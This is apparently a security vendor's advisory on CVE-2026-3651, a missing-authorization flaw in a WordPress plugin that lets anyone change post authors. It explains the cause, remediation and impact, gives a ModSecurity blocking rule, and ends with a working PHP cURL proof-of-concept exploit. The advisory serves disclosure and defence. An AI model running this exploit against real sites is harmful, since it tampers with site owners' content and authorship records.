Atomic Edge analysis of CVE-2026-3651 (metadata-based):
This vulnerability in the Build App Online WordPress plugin allows unauthenticated and authenticated attackers to modify the author of arbitrary WordPress posts. The flaw exists in the plugin’s AJAX handler, which lacks proper authorization checks. Attackers can orphan posts from legitimate authors or claim ownership of any post, constituting an integrity violation with a CVSS score of 5.3 (Medium severity).
Root Cause: The plugin registers the ‘build-app-online-update-vendor-product’ AJAX action using wp_ajax_nopriv_, making it accessible to unauthenticated users. The update_vendor_product() function accepts a user-supplied post ID parameter and passes it directly to wp_update_post() to modify the post_author field. Atomic Edge research concludes the function lacks three critical security controls: authentication verification, capability checks (like edit_post), and nonce validation. These missing controls constitute CWE-862 (Missing Authorization). These conclusions are inferred from the CVE description and CWE classification, not confirmed via source code review.
Exploitation: Attackers send POST requests to /wp-admin/admin-ajax.php with the action parameter set to ‘build-app-online-update-vendor-product’. The request must include a post_id parameter specifying the target post and a post_author parameter with the desired author ID. Unauthenticated attackers typically set post_author to 0 to orphan posts. Authenticated attackers set post_author to their own user ID to claim ownership. No nonce or special headers are required. The attack vector is network-based with no user interaction required.
Remediation: The fix requires implementing proper authorization checks before post modification. The plugin should register the AJAX action using wp_ajax_ instead of wp_ajax_nopriv_ to restrict access to authenticated users. The update_vendor_product() function must verify the current user has the edit_post capability for the specified post ID. The function should also validate a nonce to prevent CSRF attacks. Input validation should ensure the post_id is a valid integer and the post_author is a valid user ID.
Impact: Successful exploitation allows attackers to disrupt content ownership and audit trails. Setting post_author to 0 orphans posts, potentially breaking frontend displays or administrative workflows that rely on author information. Authenticated attackers can claim authorship of any post, enabling content theft or attribution fraud. This vulnerability does not directly enable privilege escalation, remote code execution, or data disclosure. However, author changes could facilitate social engineering or reputation attacks within multi-author WordPress sites.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-3651 (metadata-based)
# This rule blocks exploitation of the Build App Online plugin vulnerability
# by matching the exact AJAX action and parameter structure used in attacks.
# The rule is narrowly scoped to only block requests targeting the vulnerable endpoint.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:10003651,phase:2,deny,status:403,chain,msg:'CVE-2026-3651: Build App Online Missing Authorization via AJAX',severity:'CRITICAL',tag:'CVE-2026-3651',tag:'WordPress',tag:'Plugin',tag:'Build-App-Online',tag:'Missing-Authorization'"
SecRule ARGS_POST:action "@streq build-app-online-update-vendor-product" "chain"
SecRule ARGS_POST:post_id "@rx ^[0-9]+$" "chain"
SecRule ARGS_POST:post_author "@rx ^[0-9]+$"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-3651 - Build App Online <= 1.0.23 - Missing Authorization to Arbitrary Post Author Modification via 'build-app-online-update-vendor-product' AJAX Action
<?php
/**
* Proof of Concept for CVE-2026-3651
* Assumptions based on CVE description:
* 1. The plugin registers AJAX action 'build-app-online-update-vendor-product' via wp_ajax_nopriv_
* 2. The endpoint accepts 'post_id' and 'post_author' parameters
* 3. No authentication, capability checks, or nonce validation exists
* 4. The target WordPress installation has the vulnerable plugin (<=1.0.23) active
*/
$target_url = 'https://example.com/wp-admin/admin-ajax.php'; // CHANGE THIS
// Configuration: Specify target post and desired author
$target_post_id = 1; // The post ID to modify
$new_author_id = 0; // Set to 0 to orphan post, or to attacker's user ID to claim ownership
// Prepare the exploit payload
$post_data = array(
'action' => 'build-app-online-update-vendor-product',
'post_id' => $target_post_id,
'post_author' => $new_author_id
);
// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // Disable for testing environments
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
// Display results
if ($response === false) {
echo "cURL Error: " . curl_error($ch) . "n";
} else {
echo "HTTP Status: $http_coden";
echo "Response: $responsen";
// WordPress AJAX typically returns '0' on failure or '1' on success
if (trim($response) === '1') {
echo "[SUCCESS] Post author likely modified.n";
} else {
echo "[POSSIBLE FAILURE] Check if plugin is active/vulnerable.n";
}
}
curl_close($ch);
?>